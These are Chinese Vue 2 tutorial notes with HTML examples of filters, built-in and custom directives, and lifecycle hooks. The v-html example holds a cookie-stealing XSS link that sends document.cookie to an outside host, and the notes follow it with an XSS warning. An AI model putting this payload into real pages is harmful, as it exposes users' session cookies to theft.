12、过滤器
- 定义:对要显示的数据进行特定格式化后再显示(使用于一些简单逻辑的处理)
- 语法:
- 注册过滤器: 全局过滤器 Vue.filter(name, callback)或局部过滤器 new Vue(filters:{})
- 使用过滤器:插值语法 {undefined{xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
- 备注:
- 过滤器也可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应数据
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>过滤器</title>
<script type="text/javascript" src="../js/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head>
<body>
<div id="root">
<h2>时间</h2>
<h3>当前时间戳:{{time}}</h3>
<h3>转换后时间:{{time | timeFormater()}}</h3>
<h3>转换后时间:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
<h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,11)
})
new Vue({
el:'#root',
data:{
time:1626750147900,
},
//局部过滤器
filters:{
timeFormater(value, str="YYYY年MM月DD日 HH:mm:ss"){
return dayjs(value).format(str)
}
}
})
</script>
</html>
13、内置指令
之前学过的内置指令:
- v-bind:单向绑定解析表达式,可简写为:
- v-model:双向数据绑定
- v-for:遍历数组 / 对象 / 字符串
- v-on:绑定事件监听,可简写为@
- v-if:条件渲染(动态控制节点是否存存在)
- v-else:条件渲染(动态控制节点是否存存在)
- v-show:条件渲染 (动态控制节点是否展示)
剩余内置指令:
v-text指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'JOJO',
str:'<h3>你好啊!</h3>'
}
})
</script>
</html>
- v-text:作用:向其所在节点中渲染文本内容,与插值语法相比的区别:v-text会替换掉节点中的内容。插值语法则不会。
v-html指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div>Hello,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'JOJO',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
v-html指令:
-
作用:向指定节点中渲染包含html结构的内容
-
与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
-
严重注意:v-html有安全性问题!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!
v-cloak指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="../js/vue.js"></script>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
v-cloak指令(没有值):
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
v-once指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-once>n初始化的值是:{{n}}</h2>
<h2>n现在的值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-once指令:
- v-once所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
v-pre指令
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
</html>
v-pre指令:
- 跳过其所在节点的编译过程。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
14、自定义指令
自定义指令的语法:
- 局部指令:
new Vue({
directives:{指令名:配置对象}
})
new Vue({
directives:{指令名:配置对象}
})
全局指令
- Vue.directive(指令名,配置对象)
- Vue.directive(指令名,回调函数)
例:
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
- 配置对象中常用的3个回调函数:
- bind(element,binding):指令与元素成功绑定时调用
- inserted(element,binding):指令所在元素被插入页面时调用
- update(element,binding):指令所在模板结构被重新解析时调用
- 备注:
- 指令定义时不加“v-”,但使用时要加“v-”
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
new Vue({
el:'#root',
data:{
n:1
},
directives:{
'big-number'(element,binding){
element.innerText = binding.value * 10
}
}
})
例:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
<body>
<div id="root">
<h2>当前的n值是:<span v-text="n"></span> </h2>
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
n:1
},
directives:{
//big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
big(element,binding){
console.log('big',this) //注意此处的this是window
element.innerText = binding.value * 10
},
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
}
}
})
</script>
</html>
15、Vue生命周期
15.1、引出生命周期
生命周期又名生命周期回调函数、生命周期函数、生命周期钩子,是Vue在关键时刻帮我们调用的一些特殊名称的函数。
生命周期函数的名字不可更改,但函数的具体内容是根据需求编写的
生命周期函数中的this指向是vm 或组件实例对象
15.2、生命周期各个流程(挂载流程、更新流程、销毁流程)
上面的生命周期流程中有创建、挂载、更新、销毁四个阶段,这四个阶段前后都对应两个生命周期函数,一共八个生命周期函数(还有三个其他生命周期函数到路由的时候在介绍),下面将上图流程细化讲解。
①创建阶段以及前后对应的两个函数:
(这里的创建不是之vue实例的创建,而是数据监测和数据代理是否初始化了)
创建阶段,也就是初始化数据监测和数据代理阶段,前后两个函数为:
之前的beforeCreate:此时无法通过vm访问到data中的数据、methods中的方法
之后的created:此时可以通过vm访问到data中的数据、methods中的方法
(创建阶段结束后到挂载阶段开始之前,Vue开始解析模板,生成虚拟DOM(内存中),页面还不能显示解析好的内容)
②挂载阶段以及前后对应的两个函数:
(挂载阶段所做的是将上面解析好的模板而生成的虚拟DOM转为真实DOM插入页面)
挂载前后的两个函数:
之前的beforeMount:此时(1)页面呈现的是未经Vue编译的DOM结构 (2)所有DOM的操作均不奏效
之后的mounted:此时(1)页面中呈现的是经过Vue编译的DOM (2)对DOM的操作均有效(尽可能避免)。至此初始化过程结束,一般在这个函数内进行:开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作
③更新阶段以及前后对应的两个函数:
(更新阶段就是 根据新数据,生成新的虚拟DOM,随后与旧的虚拟DOM进行比较,最终完成页面更新,即:完成了Model -> View的更新)
更新前后的两个函数:
之前的beforeUpdate:此时数据是新的,但页面时旧的,即:页面尚未和数据保持同步
之后的updated:此时数据是新的,页面也是新的,即页面和数据保持同步
④销毁阶段以及前后对应的两个函数:
销毁前后的两个函数:
之前的beforeDestroy:vm中所有的e:data、methods、指令等等都处于可用状态,但马上要执行销毁过程。一般在此阶段:关闭定时器、取消订阅消息、解绑自定义事件等收尾操作
之后的destroyed:无
总结一波:
第一点:四个阶段,八个生命周期函数。
第二点:其中挂载之后的mounted函数和销毁之前的beforeDestroy函数是常用的,重要。
(1)mounted:发送ajax请求、开启定时器、订阅消息、绑定自定义事件等初始化操作
(2)beforeDestroy:一般在此阶段:关闭定时器、取消订阅消息、解绑自定义事件等收尾操作
第三点:关于销毁Vue实例:
(1)销毁后借助Vue开发者工具看不到任何信息
(2)销毁后自定义事件会失效,但原生DOM事件依然有效
(3)一般不会再beforeDestroy操作数据,因为几遍操作数据了也不会再触发更新流程了
例:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>引出生命周期</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button @click="opacity = 1">透明度设置为1</button>
<button @click="stop">点我停止变换</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
opacity:1
},
methods: {
stop(){
this.$destroy()
}
},
mounted(){
console.log('mounted',this)
this.timer = setInterval(() => {
console.log('setInterval')
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
beforeDestroy() {
clearInterval(this.timer)
console.log('vm即将驾鹤西游了')
},
})
</script>
</html>